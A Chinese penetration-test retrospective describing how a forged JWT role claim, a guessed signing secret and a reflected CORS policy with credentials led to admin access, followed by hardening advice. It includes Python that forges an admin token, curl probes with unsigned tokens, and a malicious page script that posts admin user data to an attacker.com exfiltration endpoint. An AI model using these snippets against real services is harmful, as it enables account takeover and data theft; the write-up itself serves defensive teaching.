当前位置: 首页 > article >正文

从一次内部渗透测试复盘讲起:我们是如何绕过JWT令牌和CORS配置,轻松拿到管理员权限的

从渗透测试实战看JWT与CORS的安全陷阱一次权限提升的完整链条分析那天下午三点二十七分咖啡机刚发出萃取完成的滴答声Burp Suite的Proxy历史记录里突然跳出一条不寻常的响应——一个本应返回403的API请求竟然带着200状态码和完整的用户列表数据回来了。这个意外发现开启了我们为期三天的权限提升之旅也暴露出现代Web安全架构中最危险的组合漏洞脆弱的JWT实现与宽松的CORS策略。1. 初始侦察与目标定位任何有效的渗透测试都始于充分的信息收集。我们面对的是一个典型的前后端分离架构React前端托管在app.example.comREST API服务部署在api.example.com。通过浏览器开发者工具观察网络请求几个关键特征立即引起了我们的注意所有API请求都在Authorization头中使用Bearer token跨域请求携带Origin: https://app.example.com头部响应中包含Access-Control-Allow-Credentials: true使用Burp的Repeater模块重放请求时我们构造了以下测试用例GET /api/v1/users/me HTTP/1.1 Host: api.example.com Origin: https://attacker.com Cookie: sessioneyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...令人惊讶的是服务器返回了{ id: 123, username: test_user, role: user }这表明CORS策略可能存在配置缺陷。更关键的是观察JWT令牌的结构发现其使用HS256算法且未设置适当的过期时间exp claim。2. JWT令牌的元数据攻击JSON Web Tokens作为现代认证方案的核心组件其安全性高度依赖于实现细节。我们通过jwt.io解码获得的令牌{ alg: HS256, typ: JWT } { sub: 123, name: test_user, role: user, iat: 1625097600 }关键发现使用对称加密算法HS256而非RS256缺少标准声明如exp, aud角色信息直接存储在令牌中通过Burp的JWT Editor插件我们尝试了以下攻击路径算法混淆攻击将头部修改为{alg:none}并移除签名密钥爆破使用已知的弱密钥列表如secret、changeme进行签名验证声明注入直接修改payload中的role字段为adminimport jwt # 使用爆破得到的密钥伪造管理员令牌 malicious_token jwt.encode( {sub:123,name:test_user,role:admin,iat:1625097600}, company_default_secret, algorithmHS256 )第三种方法取得了成功。系统完全信任客户端提供的角色声明没有任何服务器端验证。3. 利用CORS错误配置扩大攻击面虽然获得了管理员令牌但真正的挑战在于如何让受害者的浏览器执行跨域请求。测试发现API端点存在以下CORS配置HTTP/1.1 200 OK Access-Control-Allow-Origin: https://attacker.com Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, PUT这种反射型CORS策略即动态回显请求中的Origin头结合Allow-Credentials构成了典型的权限提升漏洞。我们构建了恶意页面script fetch(https://api.example.com/api/v1/admin/users, { credentials: include, headers: { Authorization: Bearer 伪造的JWT } }).then(res res.json()) .then(data fetch(https://attacker.com/exfil, { method: POST, body: JSON.stringify(data) })); /script当管理员用户访问该页面时其浏览器会自动携带合法cookie发起跨域请求而服务器错误地认为这是合法操作。4. 强制浏览与横向移动获得初始立足点后我们开始探索系统内部的访问控制缺陷。通过Burp的Intruder模块对API端点进行枚举/api/v1/admin/users /api/v1/admin/roles /api/v1/config /api/v1/logs发现系统存在不安全的直接对象引用IDOR漏洞。例如修改以下URL中的用户ID参数可以访问任意用户数据GET /api/v1/users/[id]/profile更严重的是某些管理接口未对HTTP方法实施访问控制DELETE /api/v1/users/456 HTTP/1.1 Host: api.example.com Authorization: Bearer 普通用户令牌这种漏洞组合允许攻击者从普通用户权限开始逐步收集信息、提升权限最终完全控制系统。5. 防御策略的多层防护基于此次测试暴露的问题我们建议采用深度防御策略JWT安全加固使用非对称算法RS256/ES256设置合理的令牌有效期建议≤15分钟关键操作要求二次认证服务器端维护令牌吊销列表# 最佳实践示例 from authlib.jose import JsonWebKey, JsonWebToken private_key JsonWebKey.generate_key(RSA, 2048) jwt JsonWebToken([RS256]) token jwt.encode( {alg: RS256}, {sub: user123, exp: datetime.utcnow() timedelta(minutes15)}, private_key )CORS严格策略预定义允许的Origin白名单禁止Credentials与通配符(*)组合使用对敏感接口禁用CORS# Nginx配置示例 map $http_origin $cors_origin { default ; ~^https://(app|partner)\.example\.com$ $http_origin; } server { location /api/ { if ($cors_origin ) { return 403; } add_header Access-Control-Allow-Origin $cors_origin; add_header Access-Control-Allow-Methods GET, POST; add_header Access-Control-Allow-Headers Content-Type; add_header Access-Control-Max-Age 86400; } }访问控制增强实施基于属性的访问控制ABAC所有敏感操作记录详细审计日志对管理接口实施速率限制定期进行自动化权限矩阵测试6. 从攻击者视角看防御有效性真正有效的安全措施需要站在攻击者角度思考。我们验证防御方案时特别关注令牌篡改检测服务器是否验证签名算法与预期一致权限变更响应用户角色修改后是否立即失效现有令牌CORS预检请求OPTIONS方法是否实施与主请求相同的访问控制API端点防护是否每个端点都明确定义了所需的权限级别一个实用的测试方法是构建自动化扫描脚本#!/bin/bash # 测试CORS配置 curl -H Origin: https://attacker.com \ -H Authorization: Bearer invalid_token \ -v https://api.example.com/api/v1/users/me # 测试JWT验证 curl -H Authorization: Bearer eyJhbGciOiJub25lIn0... \ https://api.example.com/api/v1/admin/users在项目上线前我们建议进行至少三轮测试自动化扫描、手动渗透测试和红蓝对抗演练。只有经过多维度验证的方案才能有效抵御现实世界中的复合攻击。

相关文章:

从一次内部渗透测试复盘讲起:我们是如何绕过JWT令牌和CORS配置,轻松拿到管理员权限的

从渗透测试实战看JWT与CORS的安全陷阱:一次权限提升的完整链条分析 那天下午三点二十七分,咖啡机刚发出萃取完成的滴答声,Burp Suite的Proxy历史记录里突然跳出一条不寻常的响应——一个本应返回403的API请求竟然带着200状态码和完整的用户列…...

AD新手避坑指南:Unknown Pin报错别慌,三步排查搞定PCB封装匹配

AD新手避坑指南:Unknown Pin报错别慌,三步排查搞定PCB封装匹配 第一次用Altium Designer导入原理图到PCB时,看到满屏的Unknown Pin报错,确实容易让人头皮发麻。上周刚带过一个实习生,他遇到这个错误时第一反应是重装软…...

R 4.5低代码分析工具正式发布:3小时搭建可投产BI看板,你还在写100行dplyr代码?

更多请点击: https://intelliparadigm.com 第一章:R 4.5低代码分析工具的演进逻辑与定位本质 R 4.5 并非官方发布的 R 语言版本(截至 2024 年,CRAN 官方最新稳定版为 R 4.4.x),而是社区中对“基于 R 生态构…...

从水土流失到城市经济:手把手教你用SPSS搞定地理学中的回归与聚类分析(附实战数据集)

从水土流失到城市经济:用SPSS解锁地理数据的多维密码 当一片土地的水土流失面积不断扩大,土壤氮含量持续下降,这背后隐藏着怎样的自然规律?当不同城市的经济指标呈现巨大差异,又该如何科学分类并找出驱动因素&#xff…...

PHP Swoole对接大模型长连接的7个致命陷阱:90%团队在第3步就崩溃了!

更多请点击: https://intelliparadigm.com 第一章:PHP Swoole对接大模型长连接的现状与挑战 当前,PHP 生态在高并发 AI 服务接入场景中正经历关键转型。Swoole 作为 PHP 原生协程化扩展,凭借其异步 I/O 和长连接能力,…...

3D模型渐进式对齐技术Interp3D解析与应用

1. 项目背景与核心价值去年在做3D内容生成项目时,我们团队经常遇到一个棘手问题:当需要生成两个3D模型之间的过渡形态时,传统方法要么产生严重畸变,要么直接丢失关键特征。这种"断层式"的过渡效果在动画制作、游戏开发和…...

Unity Mod Manager:5分钟掌握Unity游戏模组管理的终极秘籍

Unity Mod Manager:5分钟掌握Unity游戏模组管理的终极秘籍 【免费下载链接】unity-mod-manager UnityModManager 项目地址: https://gitcode.com/gh_mirrors/un/unity-mod-manager 还在为Unity游戏模组安装的繁琐步骤而烦恼吗?Unity Mod Manager正…...

YOLO26-seg分割优化:红外小目标 | 注意力机制改进 | 并行化注意力设计(PPA)模块,红外小目标暴力涨点

💡💡💡本文独家改进:红外小目标涨点利器,在多个数据集下进行验证,并行化 patch-aware 注意力(PPA)模块,解决目标的大小微小以及红外图像中通常具有复杂的背景的问题点 💡💡💡红外小目标实现暴力涨点,只有几个像素的小目标分割识别率大幅度提升 💡💡💡…...

NsEmuTools:一键式NS模拟器管理平台,重新定义游戏体验配置效率

NsEmuTools:一键式NS模拟器管理平台,重新定义游戏体验配置效率 【免费下载链接】ns-emu-tools 一个用于安装/更新 NS 模拟器的工具 项目地址: https://gitcode.com/gh_mirrors/ns/ns-emu-tools 你是否曾经为了配置NS模拟器而花费数小时&#xff0…...

3分钟极速上手:Android Studio中文语言包安装全攻略 [特殊字符]

3分钟极速上手:Android Studio中文语言包安装全攻略 🚀 【免费下载链接】AndroidStudioChineseLanguagePack AndroidStudio中文插件(官方修改版本) 项目地址: https://gitcode.com/gh_mirrors/an/AndroidStudioChineseLanguagePack 还…...

Qt5.12 + VS2022 完整配置方案

好的,给你一套能稳定跑的 Qt 5.12 VS2022 完整配置方案(实战可用),我会把坑点一起讲清楚,避免你踩雷。⚠️ 先说结论(非常重要)👉 Qt 5.12 不原生支持 VS2022(MSVC2022&…...

麒麟系统软件商店主页空白?一个目录删掉就恢复正常了

原文链接:麒麟系统软件商店主页空白?一个目录删掉就恢复正常了 hello,大家好呀~在使用银河麒麟桌面操作系统的过程中,软件商店本来应该是大家安装、更新软件最常用的入口之一。但有时候会遇到一个很让人摸不着头脑的问…...

Spring AI开发实战:从零入门到落地,Java开发者快速解锁AI开发能力

摘要:Spring AI 作为 Spring 官方推出的企业级 AI 开发框架,核心价值在于简化 AI 模型接口集成,屏蔽不同厂商模型的调用差异,让 Java 开发者无需掌握复杂的机器学习算法、无需手动编写 HTTP 请求与返回解析逻辑,基于熟…...

魔兽争霸3优化终极指南:用WarcraftHelper让经典游戏在现代电脑上流畅运行

魔兽争霸3优化终极指南:用WarcraftHelper让经典游戏在现代电脑上流畅运行 【免费下载链接】WarcraftHelper Warcraft III Helper , support 1.20e, 1.24e, 1.26a, 1.27a, 1.27b 项目地址: https://gitcode.com/gh_mirrors/wa/WarcraftHelper 还在为《魔兽争霸…...

Qt Quick实战:用QML和C++给娃做个跨平台算术游戏(附完整源码)

Qt Quick亲子编程:用QMLC打造跨平台数学启蒙游戏 当技术遇上亲子时光,编程不再只是冰冷的代码。作为开发者家长,我们完全可以用Qt Quick为孩子定制一款专属的数学启蒙游戏,让学习变成亲子互动的快乐时光。这款游戏将运行在Windows…...

Ubuntu 22.04 + 4060Ti 16G:保姆级避坑指南,搞定Qwen-VL-Chat-Int4本地部署

Ubuntu 22.04 RTX 4060Ti 16G:Qwen-VL-Chat-Int4 视觉大模型部署实战手册 在NVIDIA RTX 40系显卡逐渐成为AI开发者主力硬件的当下,如何在消费级GPU上高效部署多模态大语言模型成为热门话题。本文将针对搭载16GB显存的RTX 4060Ti显卡,详细解析…...

YOLO检测系统性能优化三大核心:并行、队列与缓存

在系统性能优化中,针对推理和请求处理的效率提升,主要有三个核心方向:并行优化、队列优化和缓存优化。这些方法能显著降低延迟、提高吞吐量,并减少资源开销。下面我将逐一拆解每个方向的技术细节、潜在收益和实施路径,…...

# 冷凝水回收器节能效益深度分析:从原理到真实案例

**摘要**:蒸汽冷凝水回收是工业节能的重要手段。本文从热力学原理出发,结合真实工厂案例,详细分析冷凝水回收的经济效益,为工业企业提供选型参考。## 一、冷凝水回收的热力学基础### 1.1 冷凝水的形成与特性蒸汽在换热设备中释放潜…...

Little Navmap核心技术深度解析:飞行导航地图渲染与数据处理架构

Little Navmap核心技术深度解析:飞行导航地图渲染与数据处理架构 【免费下载链接】littlenavmap Little Navmap is a free flight planner, navigation tool, moving map, airport search and airport information system for Flight Simulator X, Microsoft Fligh…...

【入门实战】5分钟上手 ai-light-report:用自然语言驱动你的第一张智能报表

ai-light-report 是一个基于大语言模型(LLM)的轻量级开源报表系统,支持通过自然语言交互自动理解数据库语义并生成 SQL,快速产出可视化的报表。本文将手把手带你从零开始,搭建并体验这个报表工具。 Github项目开源仓库…...

秘语盾安全课堂:Ledger 助记词必须手写备份的原因

对于中国加密货币投资者而言,在复杂的网络环境与多变的监管政策下,“私钥主权离线化”已不再是进阶选项,而是保护资产的生存底线。 针对大中华区用户面临的 App Store 区域限制、网络同步卡顿及硬件供应链安全等痛点,本指南将为您…...

JSON Schema表单构建器:声明式配置驱动Web表单开发

1. 项目概述:一个开箱即用的表单构建器 如果你做过Web开发,尤其是后台管理系统,那你一定对表单深恶痛绝。重复的HTML结构、繁琐的验证逻辑、千篇一律的样式调整,还有那永远也填不完的字段映射和数据提交。每次接到一个“简单”的增…...

THINKROUTER:大模型推理的置信度路由优化技术

1. THINKROUTER:大模型推理的置信度路由革命 当大型语言模型(LLM)在解决复杂数学题时突然"固执己见"地给出错误答案,或者在代码生成时陷入无意义的循环,这些现象背后往往隐藏着一个关键问题:模型…...

开源AI应用托管平台clawhost:从模型到服务的最后一公里解决方案

1. 项目概述:一个面向AI应用的开源托管平台最近在折腾AI应用部署的朋友,估计都绕不开一个核心痛点:模型和应用的“最后一公里”问题。我们好不容易在本地跑通了一个大语言模型,或者训练了一个图像生成工具,想把它变成一…...

LLM推理优化在专业翻译中的实践与效果

1. 项目背景与核心价值去年我在参与一个跨国协作项目时,团队里同时存在中文、英文、日文和德语的母语者。每天光是处理邮件往来和文档翻译就要消耗大量时间,传统翻译工具在专业术语和语境理解上的表现总差强人意。直到尝试将最新的LLM(大语言…...

5分钟掌握ncmdump:3步解密网易云音乐NCM文件的完整指南

5分钟掌握ncmdump:3步解密网易云音乐NCM文件的完整指南 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 你是否从网易云音乐下载了心爱的歌曲,却发现文件格式是.ncm,无法在车载音响、MP3播放器或其…...

Arm SVE2指令集STNT1W:非临时存储优化技术解析

1. Arm SVE2指令集与STNT1W指令概述现代处理器架构中,向量化技术已成为提升数据吞吐效率的核心手段。Arm SVE2(Scalable Vector Extension 2)作为第二代可扩展向量指令集,通过创新的可变向量长度设计,支持从128位到204…...

混合信号IC设计验证:挑战与HiPer仿真解决方案

1. 混合信号IC设计的验证挑战与行业痛点在当今集成电路设计中,混合信号(Analog/Mixed-Signal, A/MS)芯片已成为主流产品形态。这类芯片同时包含模拟电路和数字电路模块,典型应用包括电源管理IC、传感器接口、射频收发器等。我在参…...

AI自动化集成:atlassian-skill实现Jira与Confluence智能操作

1. 项目概述与核心价值如果你是一名开发者或项目经理,每天在Jira和Confluence之间来回切换,手动创建工单、更新状态、搜索文档,那么你肯定想过:能不能让我的AI助手帮我干这些活?今天要聊的这个开源项目atlassian-skill…...

对比直接使用官方 API,通过 Taotoken 聚合调用带来的管理便利

通过 Taotoken 聚合调用简化大模型管理流程 1. 统一接入带来的管理简化 传统模式下,开发者需要为每个大模型厂商单独注册账号、申请 API Key 并进行充值管理。这种分散式管理会导致以下操作负担:需要记忆多个平台的登录凭证、定期检查各账户余额、分别…...